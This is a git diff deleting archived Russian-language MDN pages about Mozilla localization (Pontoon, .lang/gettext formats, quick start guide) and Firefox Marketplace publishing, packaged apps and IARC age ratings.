Обратитесь к вкладке Translate, у вас есть возможность экспортировать .po и .xliff файлы и перевести строки с помощью внешнего приложения (i.e., текстовый редактор или память переводов).

- -
    -
  1. Чтобы скачать .po file, выберите Download ссылка находится под каждым именем файла. Чтобы скачать the .xliff file, выберите Download XLIFF ссылка.
  2. -
  3. Перейдите к переводу строки с помощью выбранного инструмента.
  4. -
- -

После того, как вы закончили свой перевод, вам нужно загрузить файл Verbatim. Вы можете сделать это с Translate счет.

- -
    -
  1. Перейдите к нижней части списка файлов в разделе Upload File.
  2. -
  3. Нажмите на Browse и выберите файл, который вы хотите загрузить.
  4. -
  5. Выберите параметр загрузки из предлагаемых вариантов.
  6. -
  7. После того, как ваши настройки загрузки был выбраны, нажмите Upload.
  8. -
- -
-

Важно: В прошлом были некоторые проблемы у членов общин которые обновляют свои исходные строки, в то время как другие находятся в процессе локализации предыдущего обновленния файла.  Это может привести к тому, что членам общины выходят новые строки источника, производя непереведенные строки в локализованный проект. Координируйте эти обновления вручную в пределах вашего сообщества, чтобы избежать этой проблемы.

-
- -

Вы готовы начать!

- -

Вот так! Вы прибыли в конце! Время взять ваше знание и направить его на хорошее применение распространения Mozilla всем в вашем регионе. Получайте удовольствие и let us know если вы столкнулись с трудностями. Мы будем рады помочь в любом случае.

- -

 

- -

Back: Quick Start Guide

diff --git a/files/ru/mozilla/localization/quick_start_guide/index.html b/files/ru/mozilla/localization/quick_start_guide/index.html deleted file mode 100644 index 1920ac8598..0000000000 --- a/files/ru/mozilla/localization/quick_start_guide/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Руководство по началу локализации -slug: Mozilla/Localization/Quick_start_guide -tags: - - Как перевести - - Локализация - - Перевод - - Перевод с английского - - Русский -translation_of: Mozilla/Localization/Quick_start_guide ---- -

Добро пожаловать в локализацию Mozilla (Сокращенно: L10n)!

- -
Если вы оказались здесь с намерением внести свою лепту в локализацию проекта Mozilla или объединить усилия существующих локализаторов, то вы пришли по адресу. Этот справочник объединяет в себе всю основную и техническую информацию, которая может вам понадобиться для работы с программой Mozilla l10n. Мы проведем вас через все начальные шаги, от начальной установки среды для тестирования до выпуска вашей локализации. Попутно вы узнаете о множестве проектов, в которые вы можете внести свой вклад и об инструментах, используемые для их локализации
- -
 
- -
Когда мы перейдем к конкретным примерам, мы возьмем их из проекта Firefox, так как он является наиболее широко локализованным в рамках проекта Mozilla. В конце всего руководства, вы сможете внести изменения в ваш локально установленный Firefox, а затем увидеть все произошедшие изменения в Firefox. Одним словом, после прочтения всего руководства, вы получите в свои руки все инструменты, необходимые, чтобы начать работу!
- -
 
- -

Запомните, это руководство обучит вас только техническим аспектам L10n Mozilla. Посетите страницу  L10n, чтобы узнать обо всем процессе локализации

- -
-

Первоначальная настройка

-Техническая работа перед началом локализации
- -
-

Фаза перевода

- -

Инструменты для перевода L10n

-
- -
-

Фаза тестирования

-Инструменты тестирования L10n
- -
-

Фаза релиза

-Шаги для предоставления вашей локализации
- -
Все эти 4 шага образуют собой техническую сторону программы l10n. Чтобы узнать больше о каждом из них, кликните на любую из ссылок выше. Чтобы составить общую картину, мы рекомендуем вам начать с зеленого квадратика и двигаться от шага к шагу
- -

 

- -
Примечание: Это руководство написано для двух типов контрибуторов: начинающих новый перевод и присоединяющихся к текущей созданной локализации. Важно знать, какая информация к каким типам контрибуторов относится. Чтобы помочь Вам найти более бодходящую информацию, заметьте, что информация, необходимая дла начала локализации, отмечена ораньжевым шрифтом. Вся информация о присоединении к переводу созданного локала синим шрифтом.
- -

 

- -

{{ Next("Localization_Quick_Start_Guide/Initial_setup") }}

diff --git a/files/ru/mozilla/localization/web_localizability/index.html b/files/ru/mozilla/localization/web_localizability/index.html deleted file mode 100644 index d8a814e46b..0000000000 --- a/files/ru/mozilla/localization/web_localizability/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Web Localizability -slug: Mozilla/Localization/Web_Localizability -tags: - - Internationalization - - Localizability - - Localization - - NeedsTranslation - - TopicStub - - Web Development -translation_of: Mozilla/Localization/Web_Localizability ---- -

Localizability (or l12y for short) is a characteristic found in an application or content that enables localization. The following list contains links to pages that highlight steps that can be taken to make web content localizable.  The documentation is divided into 4 parts:

-
  1. How to create localizable content.
  2. How to choose the right localization format.
  3. How to create localizable web applications.
  4. How to set up the infrastructure for localization.
  5. -
-

Why localizability is important

-

There are many reasons why you should start thinking about making your web app localizable as soon as possible.

-
  1. You will make localizer's life easier, for which they will be grateful.
  2. You will have quality content, localized and adapted to the needs of the local market.
  3. Extending you web app to support new languages will be easy.
  4. The content will be easier to maintain and update.
  5. You will end up writing more semanticly-correct code, which is good for your SEO.
  6. By reviewing your content and code for l12y, you will find and fix bugs in your original language too.
  7. -
diff --git a/files/ru/mozilla/localization/web_localizability/localization_formats/index.html b/files/ru/mozilla/localization/web_localizability/localization_formats/index.html deleted file mode 100644 index 73b6f46846..0000000000 --- a/files/ru/mozilla/localization/web_localizability/localization_formats/index.html +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: Localization formats -slug: Mozilla/Localization/Web_Localizability/Localization_formats -translation_of: Mozilla/Localization/Web_Localizability/Localization_formats ---- -

{{ Warning("This document pertains to the developemt of Mozilla web sites and not to the development of Gecko-based extensions or applications.") }}

- -

There are 4 main approaches to web l10n with regards to the choice of technology used for localization logic:

- -
    -
  1. HTML/PHP
  2. -
  3. .lang
  4. -
  5. gettext (.po)
  6. -
  7. wiki (TBD)
  8. -
- -

The choice of the filetype depends on a couple of factors:

- - - -

As every new web-dev project takes shape, a project manager should ask themselves these questions and have the answers ready before starting the web l10n process.

- -

HTML/PHP

- -

Возможно, вы проектируете проект с относительно небольшими потребностями перевода, например, от трех до четырех строк (или более) контента, требующего от пользователей обновления до следующей версии доступного программного обеспечения. Вы можете представить только HTML для локализации:

- -

We give an HTML file which lists several pieces of content like,

- -
 <H1>Getting Started</H1>
-
- -

and the localizer translates to

- -
 <H1>Débuter avec Firefox</H1>
-
- -

The localizer then submits the translated HTML or PHP back to us by either checking in changes to SVN or sending us a patch that Pascal checks in.

- -

Advantages to HTML

- -
    -
  1. Good for small projects
  2. -
  3. Very simple for web developers
  4. -
  5. Gives localizers the exact context of translations
  6. -
  7. A localizer who knows basic HTML can style translations to make sure translations display correctly...we can allow slight modifications (e.g. RTL or wider display)
  8. -
  9. Gives the possibility to customize content per locale
  10. -
  11. Simple workflow, just put the file on svn and it can appear on the staging server
  12. -
- -

Disadvantages to HTML

- -
    -
  1. Very hard for QA -
      -
    • If localizer changes something incorrectly (i.e. accidentally removes some HTML like </h1>, that localizer can break everything.)
    • -
    -
  2. -
  3. Very hard to update automatically, if not impossible.
  4. -
  5. Can be hard to tell what has changed
  6. -
- -

.lang files

- -

Historically, Mozilla has used a gettext-like file to present content for localization. .lang files provide some features that differentiate it from Gettext:

- - - -

With this setup, a localizer is given a "[something].lang" file containing all the strings needing localization. That file will have the following structure:

- -
 ;Getting Started
- Débuter avec Firefox
-
- -

The English content is designated by the semi-colon and the localizer provides the translation underneath. That content is placed into an array that is used by the PHP code later.

- -
 $array["Getting Started"] = "Débuter avec Firefox"
-
- -

The PHP code searches the array and returns the translation that is associated with the English term used by the web developer.

- -

See the example below.

- -
 <H1><?PHP echo ___("Getting Started")?></H1>
- function ___($str) {
-    return $array[$str];
- }
- -

Advantage to .lang

- -
    -
  1. Simple work-flow allowing the web developer to place the file in SVN and it can appear on the staging server
  2. -
  3. .lang syntax is like simplified .po, which many localizers who are familiar with linux and other projects understand
  4. -
  5. Mozilla has a basic tool called main.lang checker, which can show any untranslated files to the localizer
  6. -
  7. no need to compile to .mo file so a localizer can see his/her changes more quickly
  8. -
  9. creating simple diffs
  10. -
  11. .lang files will be cached which will reduce any slowness effect
  12. -
- -

Disadvantage to .lang

- -
    -
  1. no plural forms
  2. -
  3. no context for localizers unless you provide good comments
  4. -
  5. no styling by localizers if it is needed
  6. -
  7. may be slower because file is not compiled into binaries
  8. -
  9. not used as a standard by any other localization project
  10. -
  11. no tools to validate syntax, so a localizer may cause accidental errors that can cause breakage (level of breakage depends on level of error)
  12. -
  13. cannot use po editor, which most localizers know and love
  14. -
- -

gettext (.po)

- -

Gettext is a widely-used localization format that uses .po files. With this arrangement, content for localization is presented in the following manner:

- -
 msgid "coming soon"
- msgstr "Bientôt disponible"
-
- -

where the value in the "" of the msgid is the English content, and the value in the "" of the msgstr is the translation. msgstr can be longer translations than just the exact above. For example, below is the entire introduction used for a certificate that was presented to those who downloaded Firefox during the Download Day campaign. The French content runs three lines:

- -
 msgid "certificate_intro"
- msgstr ""
- "Merci de nous avoir aidé à établir ce record du monde ! "
- "Allez-y et montrez-le en téléchargeant et en imprimant votre "
- "certificat personnalisé Firefox 3 Download Day."
-
- -

Advantages of gettext

- -
    -
  1. gettext has very powerful tools to update this site (if you use the actual English strings in msgids, not unique identifier strings like certificate_intro)
  2. -
  3. Very established with a large set of powerful tools
  4. -
  5. Harder to screw things up because existing tools will not allow localizers to edit the l10n file where they shouldn't
  6. -
  7. Separates localizable strings available for localizers for the rest of the code, protecting it from unintended changes
  8. -
- -

Disadvantage of gettext

- -
    -
  1. .po file needs to be compiled into a .mo file for localizer to see changes
  2. -
  3. Using regular diff to see changes to a file is sometimes impossible because the editing tool can save the .po file using a completely different structure or order of entities.
  4. -
- -

Read more about gettext on Wikipedia and on MDC.

- -

Wiki

- -

Blogging, documentation, and other types of Mozilla content often surface as wikis.

- -

Case study: Download Day

- -

In the above Gettext example, notice how the web developer used "certificate_intro" as the value of the msgid. This is not the actual content that was translated. So, if a localizer wanted to use one of the many powerful Gettext tools, like po-editor, the msgid provides NO CONTEXT for translation or for other localizers to verify translations when QA-ing. This should have been avoided.

- -

In the case of Download Day, someone created entity-like identifiers in the msgid, which we have shown above with the "certificate_intro" key. Then, an en-US repository was created holding the translations to all the entity-like values of msgid. This is very non-standard because it avoids one of the obvious powers of Gettext. When English content is used as the value of the msgid, there is no need to place that content in a special repository.

- -

But, in the Download Day example, when changes were made to en-US, the web-developer had to push those changes to all the repositories of all the locales. Localizers had to revisit an en-US repository to find the exact msgid, review the change, and return to their repository to make changes.

- -

Without having the exact content as the msgid, this process may cause several errors since the localizers cannot has to continually switch back-and-forth. In this case, the choice to use customized values for msgid was error-prone, onerous, and unfamiliar to localizers who are used to more customary Gettext operations.

diff --git "a/files/ru/mozilla/localization/\320\273\320\276\320\272\320\260\320\273\320\270\320\267\320\260\321\206\320\270\321\217_\321\201_\320\277\320\276\320\274\320\276\321\211\321\214\321\216_pontoon/index.html" "b/files/ru/mozilla/localization/\320\273\320\276\320\272\320\260\320\273\320\270\320\267\320\260\321\206\320\270\321\217_\321\201_\320\277\320\276\320\274\320\276\321\211\321\214\321\216_pontoon/index.html" deleted file mode 100644 index 5da2effe14..0000000000 --- "a/files/ru/mozilla/localization/\320\273\320\276\320\272\320\260\320\273\320\270\320\267\320\260\321\206\320\270\321\217_\321\201_\320\277\320\276\320\274\320\276\321\211\321\214\321\216_pontoon/index.html" +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: Локализация с помощью Pontoon -slug: Mozilla/Localization/Локализация_с_помощью_Pontoon -tags: - - Pontoon - - Локализация - - Перевод -translation_of: Mozilla/Localization/Localizing_with_Pontoon ---- -

Pontoon - это веб-приложение в стиле WYSIWYG-редактора (What-You-See-Is-What-You-Get - "Что видишь, то и получается"), используемое для перевода содержимого страниц сети Интернет на другой язык. Мы используем Pontoon для локализации всех продуктов Mozilla и веб-сайтов Mozilla. (Так же для интерфейса приложений операционной системы Firefox OS, известного под названием Gaia). Pontoon - это очень простой интуитивно понятный инструмент, который практически не требует каких-либо технических навыков в процессе локализации. В этой статье мы расскажем, как использовать Pontoon для локализации проектов, начиная с момента регистрации в системе и заканчивая вашим участием в коллективном переводе. Заодно покажем некоторые приятные возможности, которые сделают процесс перевода ещё эффективнее и проще.

- -
-

Вы являетесь разработчиком? Прочитайте статью Добавление системы Pontoon на ваш сайт или узнайте, как принять участие в разработке проекта на сайте GitHub.

-
- -

Первые шаги

- -

Домашняя страница системы Pontoon элементарна в работе. Для того, чтобы начать локализацию проекта, нажмите на картинку пользователя (справа-сверху) и авторизуйтесь в системе (Sign in). Далее выберите проект, над которым хотите работать, и желаемый язык в выпадающем меню. Pontoon автоматически откроет проект, и можно начинать работу. Заметьте, что мы будем использовать для демонстрации функций Pontoon сайт Mozilla Advocacy. Откроем этот сайт в системе Pontoon:

- -

- -

Главная панель инструментов

- -

Как видите, часть интерфейса - это непосредственно сама веб-страница, которая в данный момент переводится. Системе Pontoon принадлежит панель инструментов вверху экрана, содержащая следующие элементы (слева направо), а также список переводимых строк. Панель инструментов:

- -

- -

Выбор языка (Russian ru)

- -

Выбор языка, на который необходимо перевести проект

- -

Выбор проекта (Mozilla Advocacy)

- -

Переключение между проектами (сайтами)

- -

Выбор переводимого ресурса сайта (Direct 1)

- -

Переключение между разными ресурсами проекта, например, страницы, файлы. Если ресурсов нет, то данная секция скрывается

- -

- -
-
- -

Go

- -

Открывает ресурс

- -

Индикатор прогресса (100%)

- -

Показывает процент переведённого текста

- -
-
- -

Меню пользователя

- -

Содержит дополнительное меню: настройки профиля пользователя, справку, возможность скачать файлы и другое.

- -

- -
-
- -

Перевод строк

- -

При использовании Pontoon у вас есть несколько способов для перевода. Можно переводить способами "в контексте", "вне контекста" или комбинированным способом.

- -

В контексте

- -

Открывается веб-страница и предоставляется возможность редактировать её в реальном времени. Пример:

- -

- -
    -
  1. Наведите курсор мыши на текст, который хотите перевести.
  2. -
  3. Появится кнопка "карандаш" над текстом. Кликните её.
  4. -
  5. В окне слева введите перевод.
  6. -
  7. Нажмите кнопку "Suggest" для сохранения.
  8. -
- -
-

Вне контекста

- -

Некоторые элементы невозможно перевести прямо на странице способом "в контексте", например, содержимое тега <title> на веб-страницах или строки, которые меняются, в зависимости от формы множественного употребления (одна книга, две книги и т.д.). Кликая на элементы панели, появившейся слева, вы выбираете тот, который необходимо перевести. При указании элемента, справа откроется окно редактирования:

- -

- -
    -
  1. В левой части экрана кликните в строку, которую надо перевести.
  2. -
  3. В правой части откроется панель перевода с оригинальным текстом и областью для ввода перевода.
  4. -
  5. Введите переведённый текст.
  6. -
  7. Нажмите кнопку "Suggest" для сохранения.
  8. -
- -

Когда вы переводите вне контекста, то перевод также появится на сайте, как если бы вы переводили в контексте.

- -

Помощники для перевода

-
- -

Как вы видите, история перевода, машинный перевод и перевод на другие языки доступны во время перевода на панели во вкладках. Это помощники перевода. Как они вам могут помочь:

- -

- -

History

- -

Показывает предыдущие переводы, включая варианты от других пользователей.

- -

Machinery

- -

Показывает варианты переводов от автоматизированных сервисов: общая память предыдущих переводов, Mozilla Transvision, open source translation memory, Microsoft terminology и бинг.

- -

Locales

- -

Показывает соответствующие переводы из других языков.

- -

По клику одного из предложений в этих вкладках, перевод копируется в область текста-перевода.

- -
-
- -

Публикация перевода

- -

Предположим, вы хотите опубликовать ваш перевод (l10n-труд), закоммитив его в репозиторий. Система Pontoon вам это позволяет! На самом деле она автоматически синхронизируется каждый час. Теперь вы можете отдохнуть и отпраздновать сделанную работу!

diff --git a/files/ru/mozilla/marketplace/index.html b/files/ru/mozilla/marketplace/index.html deleted file mode 100644 index 5986dd873e..0000000000 --- a/files/ru/mozilla/marketplace/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Firefox Marketplace -slug: Mozilla/Marketplace -tags: - - B2G - - Marketplace - - NeedsTranslation - - TopicStub -translation_of: Archive/Mozilla/Marketplace ---- -
Firefox Marketplace является открытым и неимущественным Интернет-рынком веб-приложений". В этой зоне вы найдете все сведения, необходимые для подготовки и публикации приложений на Firefox Marketplace. Узнайте о том, как сделать приложения успешным, варианты доставки, монетизация, публикации и обновления приложений, библиотек и API, чтобы использовать особенности Marketplace.
- -
-

Mozilla приносит свои основные ценности - открытость, свобода, выбор для пользователя - миру публикации приложений.

- -

Используя стандартные Web-технологии, языки и инструменты Firefox Marketplace позволяет Вам публиковать платные и бесплатные приложения. Эти приложения могут быть упакованы, работает в Firefox, или, размещенные на вашем веб-сервере. Опубликованные приложения доступны для пользователей Firefox на компьютерах, устройствах Android и Firefox OS телефонов где бы они ни находились в мире. Находить ваши приложения можно легко в Firefox Marketplace, используя рекомендуемые разделы " приложения", приложение категориям и мощный поиск. Пользователь затем может установить бесплатные приложения мгновенно, или покупать платные приложения с растущей поддержкой кредитной карты платежи и биллинг оператора.

-
- -
-
-

Publishing your app

- -
-
App publishing options
-
After you've build an Open Web App, there are different options available for publishing it out to the world. This article explains what's available.
-
Submitting an app to the Firefox Marketplace
-
A detailed guide for those wanting to publish an app on the Firefox Marketplace.
-
General app publishing topics
-
General information and useful tips on open web app publishing.
-
Firefox Marketplace APIs
-
Links to the main reference guides covering Mozilla's Firefox Marketplace APIs, with which you can configure app payment accounts, automate app submissions, and more.
-
-
- -
-

Monetization

- -
-
Profiting from your app
-
You've worked hard on coding your latest app, but how can you get something back when publishing it? This article provides a detailed introduction to implementing app payments, including Marketplace payments and in-app payments.
-
- -

Tools for app developers

- - - -

Creating your own marketplace

- -
-
Creating a store
-
You don't have to use the Firefox Marketplace to distribute your app.
-
-
-
- - - -
    -
  1. App Submission & Review - -
      -
    1. Submitting an app to the Firefox Marketplace
    2. -
    3. Obtaining a rating for your app
    4. -
    5. Marketplace review criteria
    6. -
    7. Marketplace screenshot criteria
    8. -
    9. Privacy policy
    10. -
    11. App testing and troubleshooting
    12. -
    -
  2. -
  3. App Publishing -
      -
    1. Publishing options
    2. -
    3. Packaged Apps
    4. -
    5. Updating apps
    6. -
    7. Open Web Apps for Android
    8. -
    9. Open Web Apps for Desktop
    10. -
    11. Adding a subdomain for an app
    12. -
    13. Creating a store
    14. -
    -
  4. -
  5. Monetization -
      -
    1. Profiting from your app
    2. -
    3. App payments guide
    4. -
    5. In-app payments
    6. -
    7. Validating a receipt
    8. -
    9. App pricing list
    10. -
    11. Payments Status
    12. -
    -
  6. -
  7. Marketplace APIs -
      -
    1. Marketplace utility library
    2. -
    3. Submission API
    4. -
    5. Payment API
    6. -
    7. Marketplace API
    8. -
    -
  8. -
  9. Firefox Marketplace FAQ
  10. -
diff --git a/files/ru/mozilla/marketplace/options/packaged_apps/index.html b/files/ru/mozilla/marketplace/options/packaged_apps/index.html deleted file mode 100644 index fdbe9eeb05..0000000000 --- a/files/ru/mozilla/marketplace/options/packaged_apps/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Упакованные приложения -slug: Mozilla/Marketplace/Options/Packaged_apps -translation_of: Archive/Mozilla/Marketplace/Options/Packaged_apps ---- -
-

A packaged app is an Open Web App that has all of its resources (HTML, CSS, JavaScript, app manifest, and so on) contained in a zip file, instead of having its resources on a Web server. This article provides an introduction to packaged apps and links to everything you need to know about packaged apps from a developer standpoint.

-
-

A packaged app is zip file that contains all the resources that enable an Open Web App to function, along with an app manifest in the zip's root directory. The app manifest provides details about the app such as its description, icons used to identify the installed app and such. The package is then used to install the app to Firefox OS devices, Android devices and desktops. Once installed the app runs on the device, but is still able to access resources on the Web, such as a database on a Web server.

-

There are three types of packaged apps: web app, privileged app and certified app. While packaged apps can be used to deliver any type of Open Web App, privileged and certified apps are digitally signed to enable the use of privileged and certified APIs. Privileged apps are signed as part of the Marketplace review process, while certified apps are signed by device manufacturers or operators.

-

In addition to their ability to use privileged and certified APIs, packaged apps offer users a faster first start response as all the of the app's resources are available on the device after installation. These feature makes packaged apps the recommended approach for delivering Open Web Apps to Firefox OS devices, Android devices and desktops.

-
-

Примечание: Currently the Firefox Marketplace supports web and privileged packaged apps. In addition, Firefox Marketplace supports paid packaged apps for Firefox OS only and free packaged apps for Firefox OS, Firefox for Android and Firefox for Desktop. Support for paid apps on all platforms is under development.

-
-

Виды упакованных приложений

-

There are three types of packaged apps: web apps, privileged apps and certified app. Each type of packaged app corresponds to a level of the App Security model implemented in Firefox OS. This section provides more information on each.

-

Веб-приложение

-

A web app is one that doesn't make use of privileged or internal (certified) APIs. When submitted to Marketplace the app's package is signed, but the special authentication process used for privileged or internal apps isn't performed. Web apps therefore cannot use privileged or internal APIs. These apps are not subject to the Content Security Policies (CSPs) required for privileged and internal apps.

-

This type of packaged app doesn't require the type field in its manifest.webapp file, because the default value for type (web) is correct.

-
-

Примечание: Web apps may be self-published or distributed through the Firefox Marketplace.

-
-
-

Примечание: Web apps can also be delivered using the Hosted app mechanism.

-
-

Приложение с привелегиями

-

A privileged app is one that makes use of privileged APIs and can be considered as the equivalent of a native app on platforms such as iOS and Android. When submitted to the Firefox Marketplace, privileged apps are approved using a special process. This process gives users of the app a level of assurance that the app has been carefully reviewed for potential security, privacy, and capability issues.

-

To specify that an app is a privileged app, add the type field to its manifest.webapp file and set its value to privileged. Every privileged API your app needs to access  must be added to the permissions field in the app's manifest.

-

Firefox OS and the Web runtimes for Android and desktops enforces the following CSP for privileged apps:

-
"default-src *; script-src 'self'; object-src 'none'; style-src 'self' 'unsafe-inline'"
-
-

Примечание: Privileged apps may be distributed through the Firefox Marketplace only.

-
-

Internal (Certified) apps

-
-

Internal apps are not generally available for being created by third-party developers and aren't distributed through the Firefox Marketplace. The long term goal for internal APIs is to harden them so they can be made available as privileged APIs. If you've an interest in seeing a particular API made available, please provide feedback on the dev-webapps mailing list.

-
-

An internal app is one that makes used of internal (certified) APIs, which offer access to critical system function such as the default dialer or the system settings app on a device. Compared to to a privileged app, all API permissions in an internal app are implicit, meaning they are enabled without explicit user approval. An internal app must be approved for a device by the OEM or carrier.

-

To specify that an app is an internal app, add the type field to its manifest.webapp file and set it to certified. Every privileged and internal API your app needs to access must be added to the permissions field in the app's manifest.

-

Firefox OS implements the following CSP for internal apps:

-
"default-src *; script-src 'self'; object-src 'none'; style-src 'self'"
-

This has the effect of implementing stricter rules for inline CSP for internal compared to privileged apps. If you want to understand the reasoning behind this, see Default CSP policy and Bug 768029.

-
-

Примечание: Internal apps are preloaded onto devices by OEMs and operators; they are not distributed in any other way.

-
-
-

Примечание: The internal codename for internal apps is certified apps.

-
-

Тестирование упакованных приложений

-

To install a packaged app into a Firefox OS Simulator or onto a device for testing purposes, see Using the App Manager. Alternatively, you can install it on to a device from a Web server by following the steps described in Publishing apps yourself. Remember that when you publish apps yourself, packaged web apps only can be installed .

-

Публикация упакованных приложений

-

You have two options for publishing packaged apps: on Firefox Marketplace or self-publishing.

-

Публикация на Firefox Marketplace

-

The process for submitting a packaged app to Firefox Marketplace is described in the App Publishing section.

-

When you submit your packaged app, its zip file is stored on the Marketplace servers, and the Marketplace generates a new manifest called the mini-manifest that is based on the app manifest in your packaged app's zip file. When a user installs your app, the mini-manifest is passed to the Apps.installPackage() function to install the app. The mini-manifest exists for installation and update purposes and isn't used when your app runs.

-

Publishing yourself

-

It's possible to publish packaged web apps outside Firefox Marketplace, on your own web server. Details are provided in Publishing apps yourself.

-

Обновление упакованных приложений

-

См. Обновление приложений.

-

Больше информации

- -

 

diff --git "a/files/ru/mozilla/marketplace/options/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" "b/files/ru/mozilla/marketplace/options/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" deleted file mode 100644 index bdace69444..0000000000 --- "a/files/ru/mozilla/marketplace/options/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Введение — Возможности при публикации -slug: Mozilla/Marketplace/Options/Введение -translation_of: Archive/Mozilla/Marketplace/Options/Introduction ---- -
-

Firefox Marketplace предоставляет возможность публикации приложений, которые легко смогут найти пользователи Firefox OS, Firefox для Android и Firefox для Desktop. Тем не менее, это не единственный способ распространения ваших приложений. В этом разделе вы сможете найти форматы, в которых вы сможете предоставлять свои приложения, механизмы браузеров Firefox, позволяющие приложениям работать на Android и настольных компьютерах, опции для самостоятельной публикации и пути кастомизации вашего Marketplace.

-
- -

Варианты публикации

- -
-
Packaged apps
-
Узнайте о предпочтительном способе доставки приложений, которы даёт вам доступ к привилегированным и защищённым API.
-
Hosted apps
-
Узнайте, как сделать приложения доступными с вашего сервера, в то же время давая пользователям преимущества устанавливаемых приложений.
-
Packaged или hosted?
-
Воспользуйтесь этим чеклистом, чтобы определить какой формат лучше подойдет для ваших приложений.
-
Open Web Apps дя Android
-
Теперь приложения из Firefox Marketplace доставляются пользователям Android через APK, давая возможность установить и использовать ваше приложение так же, как любое другое приложение под Android. Узнайте, как это делается.
-
Open Web Apps для десктопа
-
Open Web Apps теперь можно установить на Windows, Mac и Linux PCs через браузер Firefox для Desktop, позволяя пользователям запускать приложение так же, как любые другие. Узнайте, как это делается.
-
Публикуйте приложения самостоятельно
-
Иногда вам понадобится опубликовать приложение вне Firefox Marketplace, возможно для тестов или дистрибуции в вашей компании. Узнайте о возможных вариантах и как их реализовать.
-
Создайте свой Marketplace
-
Публикуете ли приложения в Firefox Marketplace или самостоятельно, у вас есть множество вариантов для представления их в магазине. В этой секции мы рассмотрим эти варианты и как их воплотить в жизнь.
-
 
-
 
-
- -

 

diff --git a/files/ru/mozilla/marketplace/prepare/deciding_what_to_build/index.html b/files/ru/mozilla/marketplace/prepare/deciding_what_to_build/index.html deleted file mode 100644 index bf1a717509..0000000000 --- a/files/ru/mozilla/marketplace/prepare/deciding_what_to_build/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Deciding what to build -slug: Mozilla/Marketplace/Prepare/Deciding_what_to_build -translation_of: Archive/Mozilla/Marketplace/Prepare/Deciding_what_to_build ---- -
-

Find advice about deciding on the apps and games you’ll create for Firefox Marketplace.

-
-

In a world where the mantra ‘there will be an app for that’ so often seems to be true, it might seem daunting when it comes to choosing what app to create. However, as the often misquoted former United States Commissioner of Patents Charles Holland Duell said in 1902, “In my opinion, all previous advances in the various lines of invention will appear totally insignificant when compared with those which the present century will witness. I almost wish that I might live my life over again to see the wonders which are at the threshold.” Those words are as true today as they were over 100 years ago.

-

Generating your idea

-

So where do you start? Here are some suggestions:

- -

Validating your idea

-

Whatever the source of your inspiration, you should:

-
    -
  1. Confirm the problem you want to solve is a real one and that users will want an app to solve it. There is some excellent advice on this process in the Planning Your App page in the Design section of the App Center.
  2. -
  3. Compare your idea to apps that are already in the Marketplace and the stores for other platforms. If you find something similar, it’s not a reason to abandon your idea, rather to ask yourself ‘can I do it better?’ You may be able to solve the problem faster, better or in a more fun way ─ ‘building a better mousetrap’ may be just what’s needed.
  4. -
  5. Check that you have the necessary rights to create your app. Not all ideas and data are offered in an open way. At one extreme you may have to provide acknowledgements for using them, at the other there may be licensing and cost implications. Make sure you understand these before starting your project.
  6. -
  7. check that the technology is available. When a certain kind of app doesn’t exist it could be that the technology you need to implement it simply isn’t available on the target platforms, a supported peripheral or data source.
  8. -
-

But don’t be afraid to experiment. Just because all the advice you get says it’s a bad idea, once implemented and unleashed on mobile users it could strike a chord that no one around you could recognize. In addition, if you first app isn’t a great success you are in good company — Angry Birds was its developer’s 52nd game.

-

And talking of games, here you have both more challenges and more opportunities. The same options exist in determining a good game to develop. Think about games you played as a child, family games, games you played at school, even local or regional games that may translate to a global audience. Another fruitful avenue to explore is local myths and legends, not only will they help define the game play, but the fact they may seem quirky, odd or strange to a global audience can add to their appeal.

-

There may already be millions of apps out there, but there are millions more to come and the unlikeliest sources could just be the genesis of the next big app thing.

-

Also see:

- diff --git a/files/ru/mozilla/marketplace/publishing/submit/index.html b/files/ru/mozilla/marketplace/publishing/submit/index.html deleted file mode 100644 index 265a1ad776..0000000000 --- a/files/ru/mozilla/marketplace/publishing/submit/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Submit -slug: Mozilla/Marketplace/Publishing/Submit -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Mozilla/Marketplace/Publishing/Submit ---- -

This section describes the process for submitting an app to Firefox Marketplace

-

Residual details: https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit/Submitting_an_app

diff --git a/files/ru/mozilla/marketplace/publishing/submit/rating_your_content/index.html b/files/ru/mozilla/marketplace/publishing/submit/rating_your_content/index.html deleted file mode 100644 index 5d2c32191c..0000000000 --- a/files/ru/mozilla/marketplace/publishing/submit/rating_your_content/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Obtaining a rating for your app -slug: Mozilla/Marketplace/Publishing/Submit/Rating_Your_Content -translation_of: Archive/Mozilla/Marketplace/Publishing/Submit/Rating_Your_Content ---- -
-

This page is undergoing maintenance.

-
- -
-

Mozilla has partnered with the International Age Rating Coalition (IARC) to include age-related content ratings along with all apps.  Because Mozilla cares about users and believes that users should have the opportunity to decide which content is appropriate for them all apps in the Firefox Marketplace will be required to have an IARC rating.  While we love all of our apps, our commitment to this initiative requires any app or game that does not have this rating to be removed from Marketplace after the deadline.  Mozilla has extended the dealine to May 15, 2014 to allow developers ample time to update apps via the free IARC rating tool.

-
- -

About the IARC Rating Tool

- -

IARC, a cooperative effort between international rating boards, has introduced a rating tool as a solution to assign content ratings to global, digitally distributed apps and games. By filling out one simple form, you can receive instant rating designations for all participating rating boards.  This not only helps educate your users about content, but also dramatically reduces the costs and hassle associated with obtaining various global content ratings individually.

- -

International Rating Systems Supported

- -

Using a single rating wizard, content ratings are generated for multiple rating systems, countries and regions.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Rating SystemCountries Supported
Classificação Indicativa Brazil
ESRBCanada, Mexico, United States
PEGIAustria, Denmark, Hungary, Latvia, Norway, Slovenia, Belgium, Estonia, Iceland, Lithuania, Poland, Spain, Bulgaria, Finland, Ireland, Luxembourg, Portugal, Sweden, Cyprus, France, Israel, Malta, Romania, Switzerland, Czech Republic, Greece, Italy, Netherlands, Slovak Republic, United Kingdom
